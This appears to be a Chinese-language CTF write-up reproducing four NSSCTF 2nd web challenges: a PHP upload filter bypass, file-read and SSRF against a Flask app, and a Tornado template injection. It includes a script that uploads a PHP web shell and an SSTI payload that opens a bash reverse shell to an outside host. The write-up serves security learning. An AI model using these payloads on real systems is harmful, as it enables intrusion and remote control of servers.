[NSSCTF 2nd] web复现

 1.php签到

 <?php

function waf($filename){
    $black_list = array("ph", "htaccess", "ini");
    $ext = pathinfo($filename, PATHINFO_EXTENSION);
    foreach ($black_list as $value) {
        if (stristr($ext, $value)){
            return false;
        }
    }
    return true;
}

if(isset($_FILES['file'])){
    $filename = urldecode($_FILES['file']['name']);
    $content = file_get_contents($_FILES['file']['tmp_name']);
    if(waf($filename)){
        file_put_contents($filename, $content);
    } else {
        echo "Please re-upload";
    }
} else{
    highlight_file(__FILE__);
} 

上传文件名被黑名单ph,htaccess,ini检测,但是pathinfo检测到filename.extension/.时,PATHINFO_EXTENSION被检测为空,空不在黑名单里面,就能绕过检测

上传一个1.php/.,在file_put_contents函数中,如果filename为1.php/.,就会在当前目录创建一个名为1.php的文件,从而实现传马

由于没有上传点,用py上传

import requests
url="http://node5.anna.nssctf.cn:28680/"
filename="test.php%2f."
content="<?php system($_GET[1]);?>"
file={"file":(filename,content)}
re=requests.post(url=url,files=file)
print(re.text)

/要用url编码

在环境变量里面找到flag

2.Mybox

直接url=file:///proc/1/environ拿到flag

3.MyBox(revenge)

下载源码

url=file:///app/app.py

from flask
import Flask, request, redirect
import requests, socket, struct from urllib
import parse app = Flask(__name__) 
@app.route('/') 
def index(): 
    if not request.args.get('url'): 
        return redirect('/?url=dosth') 
    url = request.args.get('url') 
    if url.startswith('file://'): 
        with open(url[7: ], 'r') as f: 
            return f.read() 
    elif url.startswith('http://localhost/'): 
        return requests.get(url).text 
    elif url.startswith('mybox://127.0.0.1:'): 
        port, content = url[18: ].split('/_', maxsplit = 1) 
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
        s.settimeout(5) s.connect(('127.0.0.1', int(port))) 
        s.send(parse.unquote(content).encode()) 
        res = b ''
while 1: 
    data = s.recv(1024) 
    if data: 
        res += data
    else: 
        break 
    return res
return ''
app.run('0.0.0.0', 827)

如果以file://开头,则返回后面的文件内容

如果以http://localhost/开头,则发送一个get请求,获取url内容

如果以mybox://127.0.0.1:开头,后面的内容/_左边为端口,右边为内容,建立一个socket连接发送解码后的内容,这个mybox其实就是魔改的gophar

用脚本生成一个gophar请求

import urllib.parse
test =\
"""GET /flag.php HTTP/1.1
Host: 127.0.0.1:80"""
#注意后面一定要有回车,回车结尾表示http请求结束
tmp = urllib.parse.quote(test)
new = tmp.replace('%0A','%0D%0A')
result = 'gopher://127.0.0.1:80/'+'_'+new
print(result)

因为是get请求,二次url编码,可能环境有问题,我的gophar打不通,后面就是利用2.4.49的apache的RCE漏洞 CVE-2021-41773反弹shell拿到flag

4.MyHurricane

打开是乱的py源码

整理一下

import tornado.ioloop
import tornado.web
import os

BASE_DIR = os.path.dirname(__file__)

def waf(data):
    # Web Application Firewall (WAF) function to filter out certain patterns
    bl = ['\'', '"', '__', '(', ')', 'or', 'and', 'not', '{{', '}}']
    for c in bl:
        if c in data:
            return False

    for chunk in data.split():
        for c in chunk:
            if not (31 < ord(c) < 128):
                return False

    return True

class IndexHandler(tornado.web.RequestHandler):
    def get(self):
        # Handle GET requests, read and display the content of the current file
        with open(__file__, 'r') as f:
            self.finish(f.read())

    def post(self):
        # Handle POST requests, perform WAF check, and write to HTML file if valid
        data = self.get_argument("ssti")
        if waf(data):
            with open('1.html', 'w') as f:
                f.write(f"""<html><body>{data}</body></html>""")
            f.flush()
            self.render('1.html')  # Render the created HTML file
        else:
            self.finish('no no no')  # Reject request if WAF check fails

if __name__ == "__main__":
    # Initialize Tornado web application
    app = tornado.web.Application([
        (r"/", IndexHandler),
    ], compiled_template_cache=

是一个Tornado框架

WAF过滤一些ssti用到的符号

参数是ssti,post提交,由于过滤了{{ 和}},可以使用{% %}

搜索相关bypass发现include不需要括号可以包含文件

包含/proc/1/environ得到flag

但这是非预期解

预期解:

利用_tt_utf8进行变量覆盖绕过

tornado在渲染时会执行_tt_utf8(_tt_tmp),将_tt_utf8变量定义为eval,_tt_tmp从post传参,那么就能执行命令,这里抄用其他师傅的payload

{% set _tt_utf8=eval %}{% raw request.body_arguments[request.method][0] %}&shell=__import__('os').popen("bash -c 'bash -i >%26 /dev/tcp/vps-ip/port <%261'")

在环境变量里面找到flag

  • 23
    点赞
  • 18
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

tao0845

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值